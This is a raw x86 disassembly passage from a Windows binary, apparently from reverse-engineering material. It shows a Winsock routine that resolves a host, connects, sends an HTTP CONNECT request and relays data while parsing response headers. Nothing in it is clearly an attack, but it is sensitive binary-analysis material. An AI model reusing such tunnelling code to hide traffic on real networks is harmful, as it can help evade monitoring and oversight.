jb 0x411bf9
mov edx, dword [ebp - 0xb54]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xb40], esi
mov dword [ebp - 0xb44], ebx
mov byte [ebp - 0xb54], bl
cmp dword [ebp - 0xdc4], edi
jb 0x411c22
mov eax, dword [ebp - 0xdd8]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xdc4], esi
mov dword [ebp - 0xdc8], ebx
mov byte [ebp - 0xdd8], bl
cmp dword [ebp - 0xb78], edi
jb 0x411c4b
mov ecx, dword [ebp - 0xb8c]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xb78], esi
mov dword [ebp - 0xb7c], ebx
mov byte [ebp - 0xb8c], bl
cmp dword [ebp - 0x868], edi
jb 0x411c74
mov edx, dword [ebp - 0x87c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x868], esi
mov dword [ebp - 0x86c], ebx
mov byte [ebp - 0x87c], bl
cmp dword [ebp - 0x884], edi
jb 0x411c9d
mov eax, dword [ebp - 0x898]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x884], esi
mov dword [ebp - 0x888], ebx
mov byte [ebp - 0x898], bl
cmp dword [ebp - 0x8bc], edi
jb 0x411cc6
mov ecx, dword [ebp - 0x8d0]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8bc], esi
mov dword [ebp - 0x8c0], ebx
mov byte [ebp - 0x8d0], bl
cmp dword [ebp - 0x8f4], edi
jb 0x411cef
mov edx, dword [ebp - 0x908]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x8f4], esi
mov dword [ebp - 0x8f8], ebx
mov byte [ebp - 0x908], bl
cmp dword [ebp - 0x92c], edi
jb 0x411d18
mov eax, dword [ebp - 0x940]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x92c], esi
mov dword [ebp - 0x930], ebx
mov byte [ebp - 0x940], bl
cmp dword [ebp - 0x964], edi
jb 0x411d41
mov ecx, dword [ebp - 0x978]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x964], esi
mov dword [ebp - 0x968], ebx
mov byte [ebp - 0x978], bl
cmp dword [ebp - 0x99c], edi
jb 0x411d6a
mov edx, dword [ebp - 0x9b0]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0x99c], esi
mov dword [ebp - 0x9a0], ebx
mov byte [ebp - 0x9b0], bl
cmp dword [ebp - 0x9d4], edi
jb 0x411d93
mov eax, dword [ebp - 0x9e8]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0x9d4], esi
mov dword [ebp - 0x9d8], ebx
mov byte [ebp - 0x9e8], bl
cmp dword [ebp - 0xa0c], edi
jb 0x411dbc
mov ecx, dword [ebp - 0xa20]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa0c], esi
mov dword [ebp - 0xa10], ebx
mov byte [ebp - 0xa20], bl
cmp dword [ebp - 0xa44], edi
jb 0x411de5
mov edx, dword [ebp - 0xa58]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa44], esi
mov dword [ebp - 0xa48], ebx
mov byte [ebp - 0xa58], bl
cmp dword [ebp - 0xa7c], edi
jb 0x411e0e
mov eax, dword [ebp - 0xa90]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xa7c], esi
mov dword [ebp - 0xa80], ebx
mov byte [ebp - 0xa90], bl
cmp dword [ebp - 0xab4], edi
jb 0x411e37
mov ecx, dword [ebp - 0xac8]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xab4], esi
mov dword [ebp - 0xab8], ebx
mov byte [ebp - 0xac8], bl
cmp dword [ebp - 0xaec], edi
jb 0x411e60
mov edx, dword [ebp - 0xb00]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xaec], esi
mov dword [ebp - 0xaf0], ebx
mov byte [ebp - 0xb00], bl
cmp dword [ebp - 0xb24], edi
jb 0x411e89
mov eax, dword [ebp - 0xb38]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xb24], esi
mov dword [ebp - 0xb28], ebx
mov byte [ebp - 0xb38], bl
cmp dword [ebp - 0xb5c], edi
jb 0x411eb2
mov ecx, dword [ebp - 0xb70]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xb5c], esi
mov dword [ebp - 0xb60], ebx
mov byte [ebp - 0xb70], bl
cmp dword [ebp - 0xb94], edi
jb 0x411edb
mov edx, dword [ebp - 0xba8]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xb94], esi
mov dword [ebp - 0xb98], ebx
mov byte [ebp - 0xba8], bl
cmp dword [ebp - 0xbcc], edi
jb 0x411f04
mov eax, dword [ebp - 0xbe0]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xbcc], esi
mov dword [ebp - 0xbd0], ebx
mov byte [ebp - 0xbe0], bl
cmp dword [ebp - 0xc04], edi
jb 0x411f2d
mov ecx, dword [ebp - 0xc18]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc04], esi
mov dword [ebp - 0xc08], ebx
mov byte [ebp - 0xc18], bl
cmp dword [ebp - 0xc58], edi
jb 0x411f56
mov edx, dword [ebp - 0xc6c]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc58], esi
mov dword [ebp - 0xc5c], ebx
mov byte [ebp - 0xc6c], bl
cmp dword [ebp - 0xc90], edi
jb 0x411f7f
mov eax, dword [ebp - 0xca4]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xc90], esi
mov dword [ebp - 0xc94], ebx
mov byte [ebp - 0xca4], bl
cmp dword [ebp - 0xcc8], edi
jb 0x411fa8
mov ecx, dword [ebp - 0xcdc]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xcc8], esi
mov dword [ebp - 0xccc], ebx
mov byte [ebp - 0xcdc], bl
cmp dword [ebp - 0xd00], edi
jb 0x411fd1
mov edx, dword [ebp - 0xd14]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd00], esi
mov dword [ebp - 0xd04], ebx
mov byte [ebp - 0xd14], bl
cmp dword [ebp - 0xd38], edi
jb 0x411ffa
mov eax, dword [ebp - 0xd4c]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd38], esi
mov dword [ebp - 0xd3c], ebx
mov byte [ebp - 0xd4c], bl
cmp dword [ebp - 0xd70], edi
jb 0x412023
mov ecx, dword [ebp - 0xd84]
push ecx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xd70], esi
mov dword [ebp - 0xd74], ebx
mov byte [ebp - 0xd84], bl
cmp dword [ebp - 0xda8], edi
jb 0x41204c
mov edx, dword [ebp - 0xdbc]
push edx
call fcn.00434321
add esp, 4
mov dword [ebp - 0xda8], esi
mov dword [ebp - 0xdac], ebx
mov byte [ebp - 0xdbc], bl
cmp dword [ebp - 0xde0], edi
jb 0x412075
mov eax, dword [ebp - 0xdf4]
push eax
call fcn.00434321
add esp, 4
mov dword [ebp - 0xde0], esi
mov dword [ebp - 0xde4], ebx
mov byte [ebp - 0xdf4], bl
cmp dword [ebp - 0x7c4], edi
jb 0x41209e
mov ecx, dword [ebp - 0x7d8]
push ecx
call fcn.00434321
add esp, 4
mov byte [ebp - 4], 0x57
mov dword [ebp - 0x7c4], esi
mov dword [ebp - 0x7c8], ebx
mov byte [ebp - 0x7d8], bl
cmp dword [ebp - 0x79c], edi
jb 0x4120cb
mov edx, dword [ebp - 0x7b0]
push edx
call fcn.00434321
add esp, 4
mov esi, dword [ebp - 0x784]
push 4
lea eax, [ebp - 0x7b8]
push eax
push 0x1002
push 0xffff
push esi
mov dword [ebp - 0x7b8], 0x1000
call sub.WS2_32.dll_setsockopt
push 4
push 0x467d1c
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
push 0x467d20
push 0x1005
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea ecx, [ebp - 0x77c]
push ecx
push 0x101
call sub.WS2_32.dll_WSAStartup
mov edx, dword [ebp - 0x780]
push edx
call sub.WS2_32.dll_gethostbyname
mov esi, eax
cmp esi, ebx
jne 0x4121e9
mov eax, dword [ebp - 0x798]
push eax
call fcn.004376a7
mov esi, dword [ebp - 0x794]
add esp, 4
push str.____DNS_Error
mov ecx, esi
call fcn.0042b4b0
lea ecx, [ebp - 0x598]
call fcn.0042b520
lea ecx, [ebp - 0x5ec]
call fcn.0042b520
lea ecx, [ebp - 0x5d0]
call fcn.0042b520
lea ecx, [ebp - 0x5b4]
call fcn.0042b520
lea ecx, [ebp - 0x534]
call fcn.0042b520
lea ecx, [ebp - 0x56c]
call fcn.0042b520
lea ecx, [ebp - 0x48c]
call fcn.0042b520
lea ecx, [ebp - 0x518]
call fcn.0042b520
lea ecx, [ebp + 0xc]
call fcn.0042b520
lea ecx, [ebp + 0x28]
call fcn.0042b520
lea ecx, [ebp + 0x44]
call fcn.0042b520
lea ecx, [ebp + 0x60]
call fcn.0042b520
mov eax, esi
jmp 0x413238
push ebx
push 1
push 2
call sub.WS2_32.dll_socket
mov ecx, 2
mov word [ebp - 0x57c], cx
mov edx, dword [esi + 0xc]
mov dword [ebp - 0x784], eax
mov eax, dword [edx]
movzx ecx, byte [eax]
mov byte [ebp - 0x578], cl
mov edx, dword [esi + 0xc]
mov eax, dword [edx]
movzx ecx, byte [eax + 1]
mov byte [ebp - 0x577], cl
mov edx, dword [esi + 0xc]
mov eax, dword [edx]
movzx ecx, byte [eax + 2]
mov byte [ebp - 0x576], cl
mov edx, dword [esi + 0xc]
mov eax, dword [edx]
movzx ecx, byte [eax + 3]
mov edx, dword [ebp - 0x78c]
push edx
mov byte [ebp - 0x575], cl
call sub.WS2_32.dll_htons
mov ecx, dword [ebp - 0x784]
mov word [ebp - 0x57a], ax
push edi
lea eax, [ebp - 0x57c]
push eax
push ecx
call sub.WS2_32.dll_connect
push 0x400
call fcn.00432f0b
add esp, 4
mov edi, eax
push 0x45b404
lea ecx, [ebp - 0x550]
mov dword [ebp - 0x780], edi
call fcn.0042b4b0
push 0x400
mov byte [ebp - 4], 0x79
call fcn.00432f0b
add esp, 4
push 0x45b404
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x790], eax
mov byte [eax], bl
mov dword [ebp - 0x788], eax
call fcn.0042b4b0
push 0x45bb38
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x7a
call fcn.0042b4b0
push 0x45b520
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 0x7b
call fcn.0042b4b0
push str._r_n_r_n
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x7c
call fcn.0042b4b0
push 0x45bf74
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x7d
call fcn.0042b4b0
push str.content_length:
lea ecx, [ebp - 0x4c4]
mov byte [ebp - 4], 0x7e
call fcn.0042b4b0
mov byte [ebp - 4], 0x7f
cmp dword [0x468da8], ebx
je 0x4127e4
mov eax, edi
mov byte [edi], bl
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x412334
mov edx, dword [str.CONNECT]
mov dword [eax], edx
mov ecx, dword [0x45bf90]
mov dword [eax + 4], ecx
mov dl, byte [0x45bf94]
mov byte [eax + 8], dl
mov eax, dword [ebp - 0x7e8]
mov esi, eax
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412360
sub eax, esi
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x412370
mov edx, dword [ebp - 0x780]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
dec edi
nop
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x412390
mov ax, word [0x45bc24]
mov word [edi], ax
cmp dword [ebp - 0x51c], 0x10
mov eax, dword [ebp - 0x530]
jae 0x4123b6
lea eax, [ebp - 0x530]
mov esi, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4123b8
mov edi, edx
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x4123c4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
mov eax, edx
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x4123e0
mov ecx, dword [str._HTTP_1.1_n_n]
mov dword [eax], ecx
mov ecx, dword [0x45bf9c]
mov dword [eax + 4], ecx
mov ecx, dword [0x45bfa0]
mov dword [eax + 8], ecx
mov eax, edx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412407
mov esi, dword [ebp - 0x780]
push ebx
sub eax, edx
mov edx, dword [ebp - 0x784]
push eax
push esi
push edx
call sub.WS2_32.dll_send
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412430
sub eax, edx
add dword [0x468dcc], eax
push 0x45b404
lea ecx, [ebp - 0x550]
call fcn.0042bff0
mov eax, dword [ebp - 0x790]
push 0x45b404
lea ecx, [ebp - 0x454]
mov byte [eax], bl
mov dword [ebp - 0x78c], 1
xor esi, esi
call fcn.0042bff0
push 0x45bb38
lea ecx, [ebp - 0x4e0]
call fcn.0042bff0
push 0x45b520
lea ecx, [ebp - 0x4fc]
call fcn.0042bff0
push str._r_n_r_n
lea ecx, [ebp - 0x470]
call fcn.0042bff0
push 0x45bf74
lea ecx, [ebp - 0x4a8]
call fcn.0042bff0
push str.content_length:
lea ecx, [ebp - 0x4c4]
call fcn.0042bff0
cmp dword [ebp - 0x78c], ebx
jle 0x4127e4
mov ecx, dword [ebp - 0x788]
mov edx, dword [ebp - 0x784]
push ebx
push 4
push ecx
push edx
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add esi, eax
cmp eax, ebx
mov dword [ebp - 0x78c], eax
mov dword [ebp - 0x780], esi
jle 0x4124c3
mov eax, dword [ebp - 0x790]
push eax
lea ecx, [ebp - 0x7b4]
call fcn.0042b4b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x80
call fcn.0042bf10
lea ecx, [ebp - 0x7b4]
mov byte [ebp - 4], 0x7f
call fcn.0042b520
push esi
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x81
call fcn.0042bf10
mov ecx, esi
mov byte [ebp - 4], 0x7f
call fcn.0042b520
lea ecx, [ebp - 0x7e4]
push ecx
lea ecx, [ebp - 0x454]
call fcn.0042b580
lea ebx, [ebp - 0x7f4]
lea edi, [ebp - 0x454]
mov esi, eax
call fcn.0042b5e0
lea edx, [ebp - 0x7c0]
push edx
lea ecx, [ebp - 0x454]
mov edi, eax
call fcn.0042b580
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [edi + 4]
push edx
mov edx, dword [edi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea eax, [ebp - 0x7ec]
push fcn.00435a41
push eax
call fcn.0042f2f0
add esp, 0x20
lea ecx, [ebp - 0x454]
push ecx
lea eax, [ebp - 0x470]
call fcn.0042b660
cmp eax, 0xffffffff
jne 0x41260c
lea edx, [ebp - 0x454]
push edx
lea eax, [ebp - 0x4a8]
call fcn.0042b660
cmp eax, 0xffffffff
jne 0x41260c
mov eax, dword [ebp - 0x78c]
add dword [ebp - 0x788], eax
mov esi, dword [ebp - 0x780]
xor ebx, ebx
jmp 0x4124c3
lea ecx, [ebp - 0x454]
push ecx
lea eax, [ebp - 0x470]
call fcn.0042b660
push 0xffffffffffffffff
cmp eax, 0xffffffff
je 0x412658
mov esi, dword [ebp - 0x45c]
lea edx, [ebp - 0x454]
push edx
lea eax, [ebp - 0x470]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov byte [ebp - 4], 0x82
jmp 0x412689
mov esi, dword [ebp - 0x494]
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x4a8]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov byte [ebp - 4], 0x83
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x550]
call fcn.0042bf10
lea ecx, [ebp - 0x7b4]
mov byte [ebp - 4], 0x7f
call fcn.0042b520
lea ecx, [ebp - 0x454]
push ecx
lea eax, [ebp - 0x4c4]
call fcn.0042b660
test eax, eax
je 0x4127e2
mov esi, dword [ebp - 0x4b0]
push 0xffffffffffffffff
lea edx, [ebp - 0x454]
push edx
lea eax, [ebp - 0x4c4]
call fcn.0042b660
mov ecx, eax
add ecx, esi
lea esi, [ebp - 0x438]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov eax, esi
push eax
mov bl, 0x84
lea eax, [ebp - 0x4fc]
mov byte [ebp - 4], bl
call fcn.0042b660
cmp eax, 0xffffffff
je 0x412755
mov esi, dword [ebp - 0x4e8]
lea ecx, [ebp - 0x438]
push ecx
lea eax, [ebp - 0x4fc]
call fcn.0042b660
add eax, esi
push eax
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x438]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x85
call fcn.0042bf10
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.0042b520
lea edx, [ebp - 0x438]
push edx
lea eax, [ebp - 0x4e0]
call fcn.0042b660
cmp eax, 0xffffffff
je 0x4127b5
mov esi, dword [ebp - 0x4cc]
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x4e0]
call fcn.0042b660
add eax, esi
push eax
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x438]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x86
call fcn.0042bf10
mov ecx, esi
call fcn.0042b520
cmp dword [ebp - 0x420], 0x10
mov eax, dword [ebp - 0x434]
jae 0x4127ca
lea eax, [ebp - 0x434]
push eax
call fcn.00435329
add esp, 4
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x7f
call fcn.0042b520
xor ebx, ebx
cmp dword [ebp - 0x580], 0x10
mov esi, dword [ebp - 0x594]
jae 0x4127f9
lea esi, [ebp - 0x594]
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412800
mov ecx, dword [ebp - 0x784]
push ebx
sub eax, edx
push eax
push esi
push ecx
call sub.WS2_32.dll_send
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412820
mov edi, dword [ebp - 0x798]
sub eax, edx
add dword [0x468dcc], eax
jmp 0x412840
push edi
push 0x400
lea edx, [ebp - 0x41c]
push 1
push edx
call fcn.0043613f
add esp, 0x10
mov esi, eax
push ebx
cmp esi, ebx
jbe 0x41287a
mov ecx, dword [ebp - 0x784]
push esi
lea eax, [ebp - 0x41c]
push eax
push ecx
call sub.WS2_32.dll_send
add dword [0x468dcc], esi
jmp 0x412840
push 0x45b404
lea ecx, [ebp - 0x550]
call fcn.0042d2b0
mov edx, dword [ebp - 0x790]
push ebx
push 0x45b404
lea ecx, [ebp - 0x454]
mov byte [edx], bl
mov dword [ebp - 0x78c], 1
xor edi, edi
mov dword [ebp - 0x7e8], ebx
call fcn.0042d2b0
push 1
push 0x45bb38
lea ecx, [ebp - 0x4e0]
call fcn.0042d2b0
push 2
push 0x45b520
lea ecx, [ebp - 0x4fc]
call fcn.0042d2b0
push 4
push str._r_n_r_n
lea ecx, [ebp - 0x470]
call fcn.0042d2b0
push 2
push 0x45bf74
lea ecx, [ebp - 0x4a8]
call fcn.0042d2b0
push 0x10
push str.content_length:
lea ecx, [ebp - 0x4c4]
call fcn.0042d2b0
cmp dword [ebp - 0x78c], ebx
jle 0x412dbe
mov eax, dword [ebp - 0x788]
mov ecx, dword [ebp - 0x784]
push ebx
push 4
push eax
push ecx
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add edi, eax
cmp eax, ebx
mov dword [ebp - 0x78c], eax
mov dword [ebp - 0x780], edi
jle 0x41290f
mov esi, dword [ebp - 0x790]
mov eax, esi
mov dword [ebp - 0x420], 0xf
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412970
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x438]
call fcn.0042d2b0
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x438]
push edx
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x87
call fcn.0042bf10
mov byte [ebp - 4], 0x7f
cmp dword [ebp - 0x420], 0x10
jb 0x4129bb
mov eax, dword [ebp - 0x434]
push eax
call fcn.00434321
add esp, 4
push edi
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x88
call fcn.0042bf10
mov byte [ebp - 4], 0x7f
cmp dword [ebp - 0x79c], 0x10
jb 0x4129fe
mov ecx, dword [ebp - 0x7b0]
push ecx
call fcn.00434321
add esp, 4
lea edx, [ebp - 0x7e4]
push edx
lea ecx, [ebp - 0x454]
call fcn.0042b580
lea ebx, [ebp - 0x7f4]
lea edi, [ebp - 0x454]
mov esi, eax
call fcn.0042b5e0
mov edi, eax
lea eax, [ebp - 0x7c0]
push eax
lea ecx, [ebp - 0x454]
call fcn.0042b580
mov ecx, dword [esi + 4]
mov edx, dword [esi]
push ecx
mov ecx, dword [edi + 4]
push edx
mov edx, dword [edi]
push ecx
mov ecx, dword [eax + 4]
push edx
mov edx, dword [eax]
push ecx
push edx
lea eax, [ebp - 0xea8]
push fcn.00435a41
push eax
call fcn.0042f2f0
mov eax, dword [ebp - 0x46c]
mov edi, 0x10
add esp, 0x20
cmp dword [ebp - 0x458], edi
jae 0x412a79
lea eax, [ebp - 0x46c]
mov ecx, dword [ebp - 0x45c]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
jne 0x412ad8
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x490], edi
jae 0x412aa6
lea eax, [ebp - 0x4a4]
mov ecx, dword [ebp - 0x494]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
jne 0x412ad8
mov eax, dword [ebp - 0x78c]
add dword [ebp - 0x788], eax
mov edi, dword [ebp - 0x780]
xor ebx, ebx
jmp 0x41290f
mov eax, dword [ebp - 0x46c]
cmp dword [ebp - 0x458], edi
jae 0x412aec
lea eax, [ebp - 0x46c]
mov ecx, dword [ebp - 0x45c]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x412b4e
mov eax, dword [ebp - 0x46c]
cmp dword [ebp - 0x458], edi
jae 0x412b19
lea eax, [ebp - 0x46c]
mov ecx, dword [ebp - 0x45c]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x45c]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov byte [ebp - 4], 0x89
jmp 0x412b95
mov eax, dword [ebp - 0x4a4]
cmp dword [ebp - 0x490], edi
jae 0x412b62
lea eax, [ebp - 0x4a4]
mov ecx, dword [ebp - 0x494]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x494]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov byte [ebp - 4], 0x8a
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x550]
call fcn.0042bf10
mov byte [ebp - 4], 0x7f
cmp dword [ebp - 0x79c], edi
jb 0x412bc0
mov edx, dword [ebp - 0x7b0]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x4ac], edi
jae 0x412bd4
lea eax, [ebp - 0x4c0]
mov ecx, dword [ebp - 0x4b0]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
test eax, eax
je 0x412dbc
mov eax, dword [ebp - 0x4c0]
mov edi, 0x10
cmp dword [ebp - 0x4ac], edi
jae 0x412c09
lea eax, [ebp - 0x4c0]
mov ecx, dword [ebp - 0x4b0]
push ecx
push eax
lea edx, [ebp - 0x454]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x4b0]
push 0xffffffffffffffff
add ecx, eax
lea esi, [ebp - 0x438]
lea edx, [ebp - 0x454]
call fcn.0042b6b0
mov bl, 0x8b
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x4e4], edi
jae 0x412c51
lea eax, [ebp - 0x4f8]
mov edx, dword [ebp - 0x4e8]
push edx
push eax
lea eax, [ebp - 0x438]
push eax
call fcn.0042c190
cmp eax, 0xffffffff
je 0x412cdc
mov eax, dword [ebp - 0x4f8]
cmp dword [ebp - 0x4e4], edi
jae 0x412c7e
lea eax, [ebp - 0x4f8]
mov ecx, dword [ebp - 0x4e8]
push ecx
push eax
lea edx, [ebp - 0x438]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x4e8]
add eax, ecx
push eax
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x438]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x8c
call fcn.0042bf10
mov byte [ebp - 4], bl
cmp dword [ebp - 0x79c], edi
jb 0x412cdc
mov edx, dword [ebp - 0x7b0]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x4c8], edi
jae 0x412cf0
lea eax, [ebp - 0x4dc]
mov ecx, dword [ebp - 0x4cc]
push ecx
push eax
lea edx, [ebp - 0x438]
push edx
call fcn.0042c190
cmp eax, 0xffffffff
je 0x412d78
mov eax, dword [ebp - 0x4dc]
cmp dword [ebp - 0x4c8], edi
jae 0x412d1d
lea eax, [ebp - 0x4dc]
mov ecx, dword [ebp - 0x4cc]
push ecx
push eax
lea edx, [ebp - 0x438]
push edx
call fcn.0042c190
mov ecx, dword [ebp - 0x4cc]
add eax, ecx
push eax
xor ecx, ecx
lea esi, [ebp - 0x7b4]
lea edx, [ebp - 0x438]
call fcn.0042b6b0
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x8d
call fcn.0042bf10
cmp dword [ebp - 0x79c], edi
jb 0x412d78
mov edx, dword [ebp - 0x7b0]
push edx
call fcn.00434321
add esp, 4
mov eax, dword [ebp - 0x434]
cmp dword [ebp - 0x420], edi
jae 0x412d8c
lea eax, [ebp - 0x434]
push eax
call fcn.00435329
sub eax, dword [ebp - 0x53c]
add esp, 4
mov byte [ebp - 4], 0x7f
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x420], edi
jb 0x412dbc
mov eax, dword [ebp - 0x434]
push eax
call fcn.00434321
add esp, 4
xor ebx, ebx
mov ecx, dword [ebp - 0x53c]
mov edi, dword [ebp - 0x790]
mov dword [ebp - 0x780], ecx
cmp dword [ebp - 0x78c], ebx
jle 0x412ed2
mov edx, dword [ebp - 0x780]
mov byte [edi], bl
cmp edx, dword [ebp - 0x7e8]
je 0x412ed2
mov eax, dword [ebp - 0x784]
push ebx
push 0x100
push edi
push eax
call sub.WS2_32.dll_recv
add dword [0x468dcc], eax
add dword [ebp - 0x780], eax
cmp eax, ebx
mov dword [ebp - 0x78c], eax
jle 0x412dd0
mov eax, edi
mov dword [ebp - 0x420], 0xf
mov dword [ebp - 0x424], ebx
mov byte [ebp - 0x434], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x412e34
sub eax, edx
push eax
push edi
lea ecx, [ebp - 0x438]
call fcn.0042d2b0
mov ecx, dword [ebp - 0x78c]
push ecx
xor ecx, ecx
lea esi, [ebp - 0x7dc]
lea edx, [ebp - 0x438]
mov byte [ebp - 4], 0x8e
call fcn.0042b6b0
push ebx
push eax
or eax, 0xffffffff
lea esi, [ebp - 0x550]
mov byte [ebp - 4], 0x8f
call fcn.0042d1c0
mov esi, 0x10
cmp dword [ebp - 0x7c4], esi
jb 0x412e98
mov edx, dword [ebp - 0x7d8]
push edx
call fcn.00434321
add esp, 4
mov byte [ebp - 4], 0x7f
mov dword [ebp - 0x7c4], 0xf
mov dword [ebp - 0x7c8], ebx
mov byte [ebp - 0x7d8], bl
cmp dword [ebp - 0x420], esi
jb 0x412dd0
mov eax, dword [ebp - 0x434]
push eax
call fcn.00434321
add esp, 4
jmp 0x412dd0
call sub.WS2_32.dll_WSACleanup
mov ecx, dword [ebp - 0x784]
push ecx
call sub.WS2_32.dll_closesocket
mov edx, dword [ebp - 0x798]
